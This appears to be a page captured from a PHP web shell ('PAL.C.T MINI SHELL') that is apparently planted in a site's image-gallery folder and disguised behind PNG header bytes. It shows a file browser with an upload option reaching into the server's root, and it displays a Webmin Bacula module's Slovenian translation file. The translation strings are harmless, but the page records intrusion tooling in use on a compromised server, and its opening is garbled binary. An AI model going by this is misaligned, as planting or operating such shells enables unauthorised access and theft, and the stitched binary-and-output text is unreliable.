php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/img_galeri/2r1asasas/root/usr/libexec/webmin/bacula-backup/lang/
upload
files >> /var/www/html/img_galeri/2r1asasas/root/usr/libexec/webmin/bacula-backup/lang/sl.auto

index_echeck=$1 Mogoče ni nameščen ali je <a href='$2'>konfiguracija modula</a> napačna.
index_edb=Povezava z bazo podatkovne baze Bacula ni uspela: $1 Mogoče ni nastavljena ali je konfiguracija modula <a href='$2'></a> napačna.
index_eng=Povezava z bazo podatkovnih skupin Bacula ni uspela: $1. Mogoče ne obstaja ali pa je <a href='$2'>konfiguracija modula</a> napačna.
index_econsole=Ukaz Bacula konzole $1 ni mogel komunicirati z direktorjem Bacule. Prepričajte se, da je geslo v $2 pravilno.
index_econsole2=Ukaz Bacula konzole $1 ni konfiguriran z veljavnim gostiteljskim gostiteljem Bacula. Trenutno uporablja $2, ki ne obstaja.
index_fixpass=Kliknite tukaj, da popravite geslo konzole
index_fixaddr=Kliknite tukaj, da popravite direktorja Bacula Director
index_stop=Nehajte Bacula
index_stopdesc=Kliknite ta gumb, da ugasnete zgoraj navedene procese demonov Bacula.
index_start=Začni Bacula
index_startdesc=Kliknite ta gumb, če želite začeti zgoraj navedene procese demonov Bacula.
index_restart=Znova zaženite Baculo
index_restartdesc=Kliknite ta gumb, če želite ustaviti in znova zagnati zgoraj navedene procese demonov Bacula. To bo morda potrebno za aktiviranje konfiguracij pomnilniške naprave.
index_apply=Uporabi konfiguracijo
index_applydesc=Kliknite ta gumb, da aktivirate zgoraj prikazano konfiguracijo Bacula.
index_boot=Začni pri zagonu
index_bootdesc=Spremenite to možnost, če želite nadzirati, ali se Bacula zažene ob zagonu sistema ali ne.
index_status=Stanja procesa:
index_up=Zgoraj
index_down=Dol
index_return=kazalo modula
index_versionbacula=Bacula $1 
index_versionbareos=Bareos $1 
index_notrun=Varnostnega kopiranja in drugih operacij ni mogoče izvesti, ko je demon Bacula Directory uprt.
index_eversion=Vaš sistem uporablja Bacula različico $2, vendar ta modul Webmin podpira samo različice $1 in višje.
index_dir=Konfiguracija direktorja
index_sd=Konfiguracija Daemon-a za shranjevanje
index_fd=Konfiguracija datoteke Daemon
index_groups=Konfiguracija skupine Bacula
index_actions=Dejanja varnostne kopije in obnovitve
index_ocmin=Prispeval <a href=$2 target=_new>Linmin</a> </a>

connect_emysql=Ni bilo mogoče naložiti gonilnika DBI baze podatkov $1 
connect_elogin=Prijava v bazo podatkov ni uspela $1:$2.
connect_equery=Zdi se, da baza podatkov $1 ne vsebuje tabel Bacula.
connect_equery2=To je lahko zato, ker je nameščen modul SQLite Perl preveč nov in ne podpira starejše oblike baze podatkov SQLite, ki jo uporablja Bacula.
connect_equery3=Zdi se, da baza podatkov $1 ne vsebuje tabel skupine OC Bacula.
esql=Napaka SQL : $1 

check_edir=Konfiguracijskega imenika Bacula $1 v vašem sistemu ni bilo mogoče najti.
check_ebacula=Ukaza Bacula za nadzor $1 ni bilo mogoče najti.
check_econsole=Ukaza Bacula konzole $1 ni bilo mogoče najti.
check_edirector=Konfiguracijske datoteke direktorja Bacula $1 ni bilo mogoče najti.
check_eclient=Kaže, da je ta sistem <a href='$2'>odjemalec Bacula</a> in ne direktor.
check_econfigs=V $1 ni bilo najdenih konfiguracijskih datotek Bacula
check_eservers=Ni definirana nobena skupina strežnikov Webmin
check_engmod=Modul skupin OpenCountry Bacula ni nameščen

proc_bacula-sd=Skladiščni demon
proc_bacula-fd=File datoteke
proc_bacula-dir=Bacula režiser demon
proc_bareos-sd=Skladiščni demon
proc_bareos-fd=File datoteke
proc_bareos-dir=Bacula režiser demon

stop_err=Ni uspelo ustaviti Bacule
start_err=Ni bilo mogoče zagnati Bacule
start_einit=Za $1 ni bilo najdenega skripta init
start_erun= $1 : $2 ni bilo mogoče zagnati
restart_err=Ni bilo mogoče ponovno zagnati Bacule
apply_err=Konfiguracije ni bilo mogoče uporabiti
apply_failed=Zaznana je bila napaka v konfiguraciji
apply_problem=Konfiguracije ni bilo mogoče uporabiti : $1 

jobs_title=Rezervna delovna mesta
jobs_none=Za zdaj še ni določeno nobeno varnostno kopiranje.
jobs_name=Ime delovnega mesta
jobs_deftype=Privzete vrednosti?
jobs_type=Vrsta dela
jobs_client=Naročnik za varnostno kopijo
jobs_fileset=Datoteka nastavljena na varnostno kopijo
jobs_schedule=Rezervni razpored
jobs_add=Dodajte novo opravilo za varnostno kopiranje.
jobs_delete=Izbrišite izbrana opravila
jobs_return=seznam delovnih mest
jobs_derr=Osebe ni bilo mogoče izbrisati

filesets_title=Datoteke
filesets_none=Še ni določen nabor datotek za varnostno kopijo.
filesets_name=Ime nastavljene datoteke
filesets_files=Vključene datoteke
filesets_add=Dodajte nov niz varnostnih kopij.
filesets_delete=Izbriši izbrane datoteke
filesets_return=seznam nabora datotek
filesets_derr=Brisanja datotek ni bilo mogoče izbrisati
filesets_ednone=Izbrana ni nobena

fileset_title1=Ustvari nabor datotek
fileset_title2=Urejanje nabora datotek
fileset_header=Podrobnosti varnostne kopije datotek
fileset_egone=Nabor datotek ne obstaja več!
fileset_name=Ime nastavljene datoteke
fileset_include=Datoteke in imeniki za varnostno kopiranje
fileset_exclude=Datoteke in imeniki, ki jih želite preskočiti
fileset_sig=Vrsta podpisa datoteke
fileset_none=Noben
fileset_md5=MD5
fileset_err=Nabora datotek ni bilo mogoče shraniti
fileset_ename=Manjka ime niza datoteke
fileset_eclash=Datoteka z enakim imenom že obstaja
fileset_echild=Tega nabora datotek ni mogoče izbrisati, ker ga uporablja $1 
fileset_comp=Vrsta stiskanja
fileset_gzipdef=&lt;Privzeta raven stiskanja&gt;
fileset_lzo=Stiskanje LZO
fileset_gzip=Raven Gzip $1 
fileset_onefs=Omejite varnostno kopijo na en datotečni sistem?

clients_title=Rezervne stranke
clients_none=Zaenkrat še ni bilo določenih nobenih rezervnih odjemalcev.
clients_name=Ime stranke
clients_address=Ime ali naslov gostitelja
clients_catalog=Katalog
clients_add=Dodajte novega rezervnega odjemalca.
clients_delete=Izbriši izbrane odjemalce
clients_return=seznam strank
clients_derr=Strank ni bilo mogoče izbrisati

client_title1=Ustvari varnostno kopijo odjemalca
client_title2=Uredi varnostno kopijo odjemalca
client_header=Podrobnosti o stranki, ki jo je treba varnostno kopirati
client_egone=Naročnika ne obstaja več!
client_name=Ime FD stranke
client_address=Ime gostitelja ali IP naslov
client_port=Bacula FD pristanišče
client_pass=Bacula FD geslo
client_catalog=Katalog za uporabo
client_prune=Obrezovanje opravil in datotek, ki jim je potekel obrezovanje?
client_fileret=Shranite varnostne kopije datotek
client_jobret=Ohranite varnostna opravila za
client_err=Ni bilo mogoče shraniti varnostne kopije odjemalca
client_ename=Manjkajoče ali neveljavno ime stranke
client_eclash=Stranka z istim imenom že obstaja
client_epass=Manjka geslo
client_eaddress=Manjkajoče ali neveljavno ime ali naslov gostitelja
client_eport=Manjkajoča ali neveljavna vrata FD
client_efileret=Manjkajoče ali neveljavno obdobje hrambe datoteke
client_ejobret=Obstoječe ali neveljavno obdobje zadrževanja zaposlitve
client_echild=Tega odjemalca ni mogoče izbrisati, ker ga uporablja $1 
client_status=Prikaži stanje

job_title1=Ustvari varnostno kopijo
job_title2=Uredi rezervno delovno mesto
job_header=Varnostne kopije podrobnosti
job_name=Rezervno ime opravila
job_enabled=Omogočeno je varnostno kopiranje?
job_def=Privzeta vrsta
job_def0=Privzeti definiton
job_def1=Samostojno delo
job_def2=Privzete vrednosti dediščine od $1 
job_type=Vrsta dela
job_level=Raven varnostne kopije
job_client=Naročnik za varnostno kopijo
job_fileset=Datoteka nastavljena na varnostno kopijo
job_schedule=Varnostno kopiranje po urniku
job_storage=Namenska naprava za shranjevanje
job_pool=Obsežni bazen
job_messages=Destinacija za sporočila
job_prority=Prednostno kopiranje
job_err=Shranjevanja varnostnih kopij ni bilo mogoče shraniti
job_ename=Manjkajoče ali neveljavno ime delovnega mesta
job_eclash=Delo z istim imenom že obstaja
job_epriority=Manjkajoča ali neveljavna številka prioritete
job_echild=Te privzete definicije opravila ni mogoče izbrisati, ker jo uporablja $1 
job_run=Zaženi zdaj
job_before=Poveljujte pred službo
job_after=Ukaz po opravilu
job_cbefore=Ukaz pred službo (na odjemalcu)
job_cafter=Ukaz po opravilu (na odjemalcu)

schedules_title=Rezervni razporedi
schedules_none=Še ni določen noben sporedni razpored.
schedules_name=Ime urnika
schedules_sched=Zaženi ravni in čase
schedules_add=Dodajte nov razpored rezervnih kopij.
schedules_delete=Izbrišite izbrane urnike
schedules_return=seznam urnikov
schedules_derr=Brisanja ni bilo mogoče izbrisati

schedule_title1=Ustvari varnostno kopijo
schedule_title2=Uredi rezervno razpored
schedule_header=Podrobnosti rezervnega razporeda
schedule_name=Ime rezervnega urnika
schedule_runs=Zaženi ravni in čase
schedule_level=Raven varnostne kopije
schedule_pool=Zvezek
schedule_times=Teči na trenutke
schedule_err=Shranjevanja rezervnega razporeda ni bilo mogoče shraniti
schedule_ename=Manjkajoče ali neveljavno ime urnika
schedule_eclash=Urnik z istim imenom že obstaja
schedule_etimes=Manjkajo se varnostni časi v vrstici $1 
schedule_echild=Tega urnika ni mogoče izbrisati, ker ga uporablja $1 

backup_title=Zaženite Backup Job
backup_header=Varnostne kopije podrobnosti
backup_job=Zaposlitev za tek
backup_jd=$1 (Niz datotek $2 na $3)
backup_wait=Počakate na rezultate?
backup_ok=Rezervno zdaj
backup_run=Začetek varnostnega opravila $1 ..
backup_return=rezervni obrazec
backup_ejob=.. ni uspelo najti zaposlitve!
backup_eok=.. zaposlitve ni bilo mogoče začeti
backup_running=.. zdaj se izvaja varnostno kopiranje. Po zaključku bodo rezultati prikazani spodaj.
backup_running2=.. opravilo varnostnega kopiranja se je začelo v ozadju.
backup_done=.. varnostna kopija dokončana.
backup_failed=.. varnostno kopiranje ni bilo uspešno zaključeno. Preverite zgornje sporočilo o napaki.

gbackup_title=Izvedite Bacula Group Backup Job
gbackup_run=Zagon rezervnega opravila $1 za $2 odjemalce ..
gbackup_on=Zagon rezervnega opravila na odjemalcu $1  :
gbackup_header=Podrobnosti o opravljenem varnostnem kopiranju skupine Bacula
gbackup_jd=$1 (Niz datotek $2 v skupini $3)

dirstatus_title=Status direktorja
dirstatus_sched=Načrtovana rezervna opravila
dirstatus_name=Ime delovnega mesta
dirstatus_type=Vtipkajte
dirstatus_level=Raven
dirstatus_date=Teči ob
dirstatus_date2=Začelo ob
dirstatus_volume=Zvezek
dirstatus_schednone=Trenutno ni predvidenih nobenih rezervnih opravil.
dirstatus_id=Zaženi ID
dirstatus_status=Trenutni status
dirstatus_run=Zagon varnostnih kopij
dirstatus_runnone=Trenutno ni nobenega varnostnega kopiranja.
dirstatus_done=Končana rezervna delovna mesta
dirstatus_bytes=Velikost
dirstatus_files=Datoteke
dirstatus_status2=Stanje
dirstatus_donenone=Nobenih rezervnih opravil ni bilo zagnanih.
dirstatus_cancel=Prekliči izbrana opravila
dirstatus_refresh=Osveži seznam

clientstatus_title=Stanje stranke
clientstatus_err=Ni bilo mogoče pridobiti statusa od $1 : $2 
clientstatus_msg=Status od $1 : $2 
clientstatus_show=Prikaži status stranke:
clientstatus_ok=v redu
clientstatus_on=$1 (na $2)

storages_title=Skladiščni demoni
storages_none=Nobeni demoni za shranjevanje še niso definirani.
storages_name=Ime shrambe
storages_address=Ime ali naslov gostitelja
storages_device=Shranjevalna naprava
storages_type=Vrsta medija
storages_add=Dodajte nov demon.
storages_delete=Izbrišite izbrane demone za shranjevanje
storages_return=seznam demonov za shranjevanje
storages_derr=Brisanja demonov shranjevanja ni bilo mogoče

storage_title1=Ustvari shrambeni Daemon
storage_title2=Uredite Daemon za shranjevanje
storage_header=Podrobnosti o demonu za shranjevanje na daljavo
storage_egone=Demon za shranjevanje ne obstaja več!
storage_name=Ime shranjenega demona
storage_address=Ime gostitelja ali IP naslov
storage_port=Bacula SD vrata
storage_pass=Bacula SD geslo
storage_device=Ime naprave za shranjevanje
storage_media=Ime vrste medija
storage_maxjobs=Največ sočasnih delovnih mest
storage_other=Drugo ..
storage_err=Demona shranjevanja ni bilo mogoče shraniti
storage_ename=Manjka ime demona za shranjevanje
storage_eclash=Demon za shranjevanje z istim imenom že obstaja
storage_epass=Manjka geslo
storage_eaddress=Manjkajoče ali neveljavno ime ali naslov gostitelja
storage_eport=Manjkajoča ali neveljavna vrata SD
storage_edevice=Manjka ime naprave za shranjevanje
storage_emedia=Manjka ime vrste medija
storage_emaxjobs=Manjkajo največ sočasnih opravil
storage_echild=Tega odjemalca ni mogoče izbrisati, ker ga uporablja $1 
storage_status=Prikaži stanje

devices_title=Naprave za shranjevanje
devices_none=Nobena naprava za shranjevanje še ni definirana.
devices_name=Ime naprave
devices_device=Datoteka ali imenik naprave
devices_type=Vrsta medija
devices_add=Dodajte novo napravo za shranjevanje.
devices_delete=Izbrišite izbrane pomnilniške naprave
devices_return=seznam naprav za shranjevanje
devices_derr=Brisalnih naprav ni bilo mogoče izbrisati

device_title1=Ustvari napravo za shranjevanje
device_title2=Urejanje pomnilniške naprave
device_header=Podrobnosti o napravi za shranjevanje datotek
device_egone=Naprava za shranjevanje ne obstaja več!
device_name=Ime naprave za shranjevanje
device_device=Arhiv naprave ali imenika
device_media=Ime vrste medija
device_label=Samodejno označujete medije?
device_random=Medij z naključnim dostopom?
device_auto=Samodejno namestite?
device_removable=Odstranljivi mediji?
device_always=Vedno ostanejo odprti?
device_err=Shranjevalne naprave ni bilo mogoče shraniti
device_ename=Manjka ime naprave za shranjevanje
device_eclash=Naprava za shranjevanje z istim imenom že obstaja
device_emedia=Manjka ime vrste medija
device_edevice=Manjkajoča ali neveljavna arhivska naprava ali imenik
device_echild=Tega odjemalca ni mogoče izbrisati, ker ga uporablja $1 

storagestatus_title=Stanje Daemon za shranjevanje
storagestatus_err=Ni bilo mogoče pridobiti statusa od $1 : $2 
storagestatus_msg=Status od $1 : $2 
storagestatus_show=Prikaži stanje demona za shranjevanje:
storagestatus_ok=v redu

label_title=Volumen etiket
label_header=Podrobnosti o prostornini do oznake
label_storage=Daemon za shranjevanje do oznake
label_pool=Ustvari v bazenu
label_label=Novo ime nalepke
label_ok=Označi zdaj
label_return=obrazec nalepke
label_run=Prostornina označevanja z $2 na demonu $1.
label_estorage=.. demona za shranjevanje ni bilo mogoče najti!
label_eexists=.. navedena nalepka že obstaja.
label_efailed=.. označevanje ni uspelo! Preverite zgornje sporočilo o napaki za razlog.
label_done=..označevanje uspešno.
label_epool=.. ni mogel najti bazena!
label_err=Oznaka ni uspela
label_elabel=Nalepka ni vnešena

pools_title=Obsežni bazeni
pools_none=Noben volumen bazena še ni določen.
pools_name=Ime bazena
pools_type=Vrsta bazena
pools_reten=Obdobje hrambe
pools_add=Dodajte novo območje glasnosti.
pools_delete=Izbrišite izbrane baze
pools_return=seznam prostornin
pools_derr=Baze glasnosti ni bilo mogoče izbrisati

pool_title1=Ustvari prostorninski bazen
pool_title2=Uredi obseg bazena
pool_header=Podrobnosti o rezervnem obsegu obsega
pool_egone=Obsežni bazen več ne obstaja!
pool_name=Ime obsega bazena
pool_recycle=Samodejno reciklirate količine?
pool_auto=Količine trajnic, ki jim je potekel rok trajanja?
pool_any=Varnostno kopiranje v poljubno količino v bazenu?
pool_reten=Obdobje zadrževanja količine
pool_type=Obseg vrste bazena
pool_max=Največje število delovnih mest na količino
pool_unlimited=Neomejeno
pool_err=Shranjevalne naprave ni bilo mogoče shraniti
pool_ename=Manjka ime naprave za shranjevanje
pool_eclash=Naprava za shranjevanje z istim imenom že obstaja
pool_echild=Tega odjemalca ni mogoče izbrisati, ker ga uporablja $1 
pool_emax=Manjkajoče ali neveljavno največje število opravil na obseg
pool_ereten=Manjkajoče ali neveljavno obdobje hrambe
pool_status=Pokaži količine
pool_autolabel=Samodejno označi predpono količin
pool_maxvolsize=Največja velikost glasnosti (npr. 5G za 5 gigabajtov)

poolstatus_title=Količine v bazenu
poolstatus_show=Pokaži količine v bazenu:
poolstatus_ok=v redu
poolstatus_volumes=Količine v izbranem bazenu
poolstatus_name=Ime zvezka
poolstatus_type=Vrsta medija
poolstatus_first=Prvo uporabljeno
poolstatus_last=Zadnji uporabljen
poolstatus_bytes=Napisani bajti
poolstatus_status=Varnostno kopiranje
poolstatus_none=V tem rezervnem območju trenutno ni zvezkov.
poolstatus_never=Nikoli
poolstatus_delete=Izbriši izbrane zvezke

dvolumes_err=Ni bilo mogoče izbrisati zvezkov
dvolumes_enone=Izbrana ni nobena
dvolumes_ebacula=Napaka Bacula : $1 

mount_title=Montirajte ali odklopite
mount_header=Možnosti za shranjevanje ali odstranjevanje
mount_storage=Shranjevalna naprava
mount_slot=Reža za samodejno nalaganje
mount_noslot=Noben
mount_slotno=Številka reže
mount_mount=Mount Storage
mount_unmount=Shranjevanje brez namestitve
mount_run=Glasnost pritrditve na pomnilniško napravo $1 ..
unmount_run=Odstranjevanje glasnosti na napravi za shranjevanje $1 ..
mount_done=.. uspešno nameščen.
unmount_done=.. uspešno nameščen.
mount_failed=.. montaža ni uspela! Glej zgornje sporočilo o napaki za razlog.
unmount_failed=.. odstranjevanje ni uspelo! Glej zgornje sporočilo o napaki za razlog.
mount_return=obrazec za pritrditev
mount_err=Ni bilo mogoče namestiti pomnilniške naprave
mount_eslot=Manjkajoča ali neveljavna številka reže

cancel_err=Opravila ni bilo mogoče preklicati
cancel_enone=Izbrana ni nobena

gjobs_title=Bacula Group Backup Jobs
gjobs_none=Nobena delovna mesta za varnostno kopiranje skupine Bacula še niso definirana.
gjobs_add=Dodajte novo varnostno opravilo skupine Bacula.
gjobs_delete=Izbrišite izbrana opravila
gjobs_return=seznam delovnih mest skupine Bacula
gjobs_derr=Brisanja delovnih mest skupine Bacula ni bilo mogoče
gjobs_client=Bacula skupina za varnostno kopijo

gjob_title1=Ustvari Bacula Group Backup Job
gjob_title2=Uredi Bacula Group Backup Job
gjob_header=Podrobnosti o opravljenem varnostnem kopiranju skupine Bacula
gjob_client=Bacula skupina za varnostno kopijo

groups_title=Bacula Group
groups_none=Nobena skupina Bacula še ni izbrana za varnostno kopijo.
groups_name=Ime skupine
groups_port=FD vrata
groups_add=Dodaj skupino Bacula:
groups_ok=Dodaj
groups_catalog=Katalog
groups_delete=Izbriši izbrane skupine Bacula
groups_return=seznam skupin
groups_derr=Brisanja skupin ni bilo mogoče
groups_noadd=Ne obstaja nobena skupina Bacula, ki bi bila izbrana za varnostno kopiranje.
groups_info=$1 ($2 članov)
groups_already=Vse skupine Bacula so že dodane.

group_title1=Ustvari skupino Bacula
group_title2=Uredi skupino Bacula
group_header=Podrobnosti o skupini Bacula, ki jo je treba varnostno kopirati
group_egone=Skupina ne obstaja več!
group_egone2=Skupine Bacula ne obstaja več!
group_name=Ime skupine Bacula
group_port=Bacula FD pristanišče
group_err=Skupine Bacula ni bilo mogoče shraniti
group_eclash=Skupina z istim imenom že obstaja
group_members=Gostitelji v skupini Bacula

sync_title=Sinhronizacija skupine Bacula
sync_header=Možnosti samodejne sinhronizacije odjemalca skupine Bacula
sync_sched=Sinhronizirati po urniku?
sync_schedyes=Da, v trenutkih, izbranih spodaj.
sync_err=Sinhronizacije skupine Bacula ni bilo mogoče shraniti

log_create_client=Ustvarjen varnostni odjemalec $1 
log_modify_client=Spremenjen rezervni odjemalec $1 
log_delete_client=Izbrisan rezervni odjemalec $1 
log_delete_clients=Izbrisanih $1 rezervnih odjemalcev
log_create_fileset=Ustvarjen nabor datotek $1 
log_modify_fileset=Spremenjen nabor datotek $1 
log_delete_fileset=Izbrisani niz datotek $1 
log_delete_filesets=Izbrisani so nabori datotek $1 
log_create_job=Ustvarjeno varnostno opravilo $1 
log_modify_job=Spremenjeno varnostno opravilo $1 
log_delete_job=Izbrisano varnostno opravilo $1 
log_delete_jobs=Izbrisana so $1 rezervna opravila
log_create_schedule=Ustvarjen rezervni razpored $1 
log_modify_schedule=Spremenjen razpored rezervnih kopij $1 
log_delete_schedule=Izbrisan rezervni razpored $1 
log_delete_schedules=Izbrisani so $1 rezervni razporedi
log_create_pool=Ustvarjen obseg obsega $1 
log_modify_pool=Spremenjen obseg obsega $1 
log_delete_pool=Izbrisan obseg obsega $1 
log_delete_pools=Izbrisani so prostornine $1 
log_create_storage=Ustvarjen demon za shranjevanje $1 
log_modify_storage=Spremenjen demon shranjevanja $1 
log_delete_storage=Izbrisan demon za shranjevanje $1 
log_delete_storages=Izbrisani $1 demoni za shranjevanje
log_create_device=Ustvarjena pomnilniška naprava $1 
log_modify_device=Spremenjena pomnilniška naprava $1 
log_delete_device=Izbrisana pomnilniška naprava $1 
log_delete_devices=Izbrisanih $1 shranjevalnih naprav
log_create_group=Ustvarjena skupina Bacula $1 
log_modify_group=Spremenjena skupina Bacula $1 
log_delete_group=Izbrisana skupina Bacula $1 
log_delete_groups=Izbrisane $1 skupine Bacula
log_create_gjob=Ustvaril varnostno opravilo skupine Bacula $1 
log_modify_gjob=Spremenjeno varnostno opravilo skupine Bacula $1 
log_delete_gjob=Izbrisana varnostna naloga skupine Bacula $1 
log_delete_gjobs=Izbrisana $1 rezervna opravila skupine Bacula
log_create_fdirector=Ustvaril datoteko daemon Director $1 
log_modify_fdirector=Spremenjen datotečni direktor daemon $1 
log_delete_fdirector=Izbrisana datoteka direktorja demona $1 
log_delete_fdirectors=Izbrisani so bili $1 direktorji daemonov
log_create_sdirector=Ustvaril direktor demona za shranjevanje $1 
log_modify_sdirector=Spremenjen direktor demona za shranjevanje $1 
log_delete_sdirector=Izbrisan vodja demona za shranjevanje $1 
log_delete_sdirectors=Izbrisani $1 direktorji za shranjevanje demonov
log_stop=Ustavil Bacula demone
log_start=Začeli Bacula demoni
log_apply=Uporabljena konfiguracija
log_restart=Restarted bacula demoni
log_backup=Začetek rezervnega opravila $1 
log_gbackup=Začetek varnostne naloge skupine Bacula $1 
log_label=Označen demon za shranjevanje $1 
log_mount=Nameščena naprava za shranjevanje $1 
log_unmount=Nenagrajena pomnilniška naprava $1 
log_sync=Shranjena sinhronizacija skupine Bacula
log_director=Shranjena globalna konfiguracija režiserja Bacula
log_file=Shranjena konfiguracija demona datoteke Bacula
log_storagec=Shranjena konfiguracija demona za shranjevanje Bacula
log_fixpass=Fiksno geslo programa konzole Bacula

director_title=Konfiguracija direktorja
director_header=Možnosti režiserja Global Bacula
director_name=Ime direktorja
director_port=Poslušaj na pristanišču
director_jobs=Največ sočasnih delovnih mest
director_messages=Destinacija za sporočila
director_enone=Konfiguracije režiserja ni bilo mogoče najti!
director_dir=Bacula delovni imenik
director_err=Konfiguracije režiserja ni bilo mogoče shraniti
director_ename=Manjkajoče ali neveljavno ime direktorja
director_eport=Manjkajoča ali neveljavna številka vrat
director_ejobs=Manjkajoče ali neveljavno število sočasnih opravil
director_edir=Manjkajoči ali neobstoječi delovni imenik

tls_enable=Ali želite omogočiti šifriranje TLS?
tls_require=Ali sprejemate samo povezave TLS?
tls_verify=Preverite stranke TLS?
tls_cert=Datoteka s potrdilom TLS PEM
tls_key=Datoteka s ključi TLS PEM
tls_cacert=Datoteka s potrdilom certifikata TLS PEM
tls_none=Noben
tls_ecert=Manjkajoča ali neobstoječa datoteka s potrdilom TLS
tls_ekey=Manjkajoča ali neobstoječa datoteka s ključi TLS
tls_ecacert=Manjkajoča ali neobstoječa datoteka s potrdilom TLS CA
tls_ecerts=Za omogočanje TLS je treba navesti datoteke s potrdilom, ključem in CA

file_title=Konfiguracija datoteke Daemon
file_header=Možnosti datoteke Bacula datoteke
file_name=Ime datoteke demona
file_port=Poslušaj na pristanišču
file_jobs=Največ sočasnih delovnih mest
file_dir=Bacula delovni imenik
file_enone=Najdena ni bila konfiguracija demona datoteke!
file_err=Konfiguracije demona datoteke ni bilo mogoče shraniti
file_ename=Manjkajoče ali neveljavno ime datoteke demona
file_eport=Manjkajoča ali neveljavna številka vrat
file_ejobs=Manjkajoče ali neveljavno število sočasnih opravil
file_edir=Manjkajoči ali neobstoječi delovni imenik

fdirectors_title=Datoteke direktorjev Daemon
fdirectors_none=Direktorji še niso določeni.
fdirectors_name=Ime direktorja
fdirectors_pass=Sprejeto geslo
fdirectors_add=Dodajte novega direktorja.
fdirectors_delete=Izbrišite izbrane direktorje
fdirectors_return=seznam direktorjev
fdirectors_derr=Direktorjev ni bilo mogoče izbrisati

fdirector_title1=Ustvari datoteko Daemon Director
fdirector_title2=Uredi datoteko Daemon Director
fdirector_header=Podrobnosti o nadzoru daljinskega direktorja
fdirector_egone=Direktorja več ne obstaja!
fdirector_name=Ime direktorja
fdirector_pass=Sprejeto geslo
fdirector_monitor=Dovoli samo nadzorno povezavo?
fdirector_err=Ni bilo mogoče shraniti direktorja datotek daemon
fdirector_ename=Manjka direktorjevo ime
fdirector_eclash=Direktor z istim imenom že obstaja
fdirector_epass=Manjka geslo

sdirectors_title=Skladiščenje Daemon Directors
sdirectors_none=Direktorji še niso določeni.
sdirectors_name=Ime direktorja
sdirectors_pass=Sprejeto geslo
sdirectors_add=Dodajte novega direktorja.
sdirectors_delete=Izbrišite izbrane direktorje
sdirectors_return=seznam direktorjev
sdirectors_derr=Direktorjev ni bilo mogoče izbrisati

sdirector_title1=Ustvari direktorja za shranjevanje Daemon
sdirector_title2=Uredi direktorja za shranjevanje Daemon
sdirector_header=Podrobnosti o nadzoru daljinskega direktorja
sdirector_egone=Direktorja več ne obstaja!
sdirector_name=Ime direktorja
sdirector_pass=Sprejeto geslo
sdirector_monitor=Dovoli samo nadzorno povezavo?
sdirector_err=Ni bilo mogoče shraniti direktorja demona za shranjevanje
sdirector_ename=Manjka direktorjevo ime
sdirector_eclash=Direktor z istim imenom že obstaja
sdirector_epass=Manjka geslo

storagec_title=Konfiguracija Daemon-a za shranjevanje
storagec_header=Možnosti za shranjevanje Bacula
storagec_name=Ime Daemon
storagec_port=Poslušaj na pristanišču
storagec_jobs=Največ sočasnih delovnih mest
storagec_enone=Najdena ni bila konfiguracija demona shranjevanja!
storagec_dir=Bacula delovni imenik
storagec_err=Konference konfiguracije demona shranjevanja ni bilo mogoče shraniti
storagec_ename=Manjkajoče ali neveljavno ime demona za shranjevanje
storagec_eport=Manjkajoča ali neveljavna številka vrat
storagec_ejobs=Manjkajoče ali neveljavno število sočasnih opravil
storagec_edir=Manjkajoči ali neobstoječi delovni imenik

chooser_title=Izberite Urnik
chooser_monthsh=Meseci za izvršitev
chooser_months=Meseci v letu
chooser_all=Vse
chooser_sel=Izbrano spodaj ..
chooser_ok=v redu
chooser_timeh=Čas dneva za usmrtitev
chooser_time=Ura in minuta
chooser_weekdaysh=Dnevi v tednu za usmrtitev
chooser_weekdays=Dnevi v tednu
chooser_weekdaynums=Število v mesecu
chooser_daysh=Dnevi v mesecu za usmrtitev
chooser_days=Datumi
chooser_err=Ni bilo mogoče izbrati urnika
chooser_emonths=Izbranih mesecev ni
chooser_eweekdays=Ni izbranih delovnih dni
chooser_eweekdaynums=Izbrana ni nobena številka v tednu
chooser_edays=Ni izbranih dni v mesecu
chooser_ehour=Manjkajoča ali neveljavna ura dneva
chooser_eminute=Manjkajoča ali neveljavna minuta
chooser_emonthsrange=Izbrani meseci morajo biti sočasni
chooser_eweekdaysrange=Izbrani tedni morajo biti sočasni
chooser_eweekdaynumsrange=Izbrane številke delovnih dni morajo biti sočasne
chooser_edaysrange=Izbrani dnevi v mesecu morajo biti sočasni

weekdaynum_1=Najprej
weekdaynum_2=Drugič
weekdaynum_3=Tretjič
weekdaynum_4=Četrtič
weekdaynum_5=Peta

restore_title=Obnovi varnostno kopijo
restore_title2=Obnovite varnostno kopijo v skupino Bacula
restore_title3=Obnovite varnostno kopijo skupine Bacula
restore_header=Možnosti za obnovitev prejšnjega varnostnega dela
restore_job=Naloga za obnovo
restore_files=Datoteke za obnovo
restore_client=Obnovi v stranko ali skupino
restore_storage=Obnovitev iz pomnilniške naprave
restore_where=Obnovi v imenik
restore_where2=Drugi korenski imenik
restore_ewhere=Manjkajoči imenik za obnovitev v
restore_ok=Obnovi zdaj
restore_err=Varnostne kopije ni bilo mogoče obnoviti
restore_efiles=Nobene datoteke niso vnesene
restore_ejob=Neveljaven ID opravila
restore_ejobfiles=Za opravilo ni shranjenih nobenih datotek
restore_run=Začetek obnovitve opravila $1 do odjemalca $2 iz prostora za shranjevanje $3.
restore_return=obnoviti obrazec
restore_eok=.. zaposlitve ni bilo mogoče začeti
restore_running=.. obnova zdaj teče. Po zaključku bodo rezultati prikazani spodaj.
restore_running2=.. obnovitev se je začela v ozadju.
restore_done=.. obnoviti dokončano.
restore_failed=.. obnovitev ni bila uspešno zaključena. Preverite zgornje sporočilo o napaki.
restore_clist=- Klienti--
restore_glist=--Bacula skupine--
restore_eclient=Izbrana ni nobena stranka ali skupina Bacula
restore_egroup=Skupina Bacula ne obstaja
restore_jlist=- Edina delovna mesta -
restore_njlist=- Dela v skupinah Bacula--
restore_all=- Vsi odjemalci v skupini--
restore_eclients=Nobenih članov skupine Bacula ni bilo mogoče najti!
restore_eall1=Možnost <b>Vsi odjemalci v varnostni kopiji</b> mora biti izbrana za <b>Povrni v odjemalca ali skupino</b> pri obnovitvi posla v skupini Bacula
restore_eall2=Možnost <b>Vsi odjemalci v varnostni kopiji</b> lahko izberete za <b>Povrni v odjemalca ali skupino</b>, ko obnovite delo v skupini Bacula
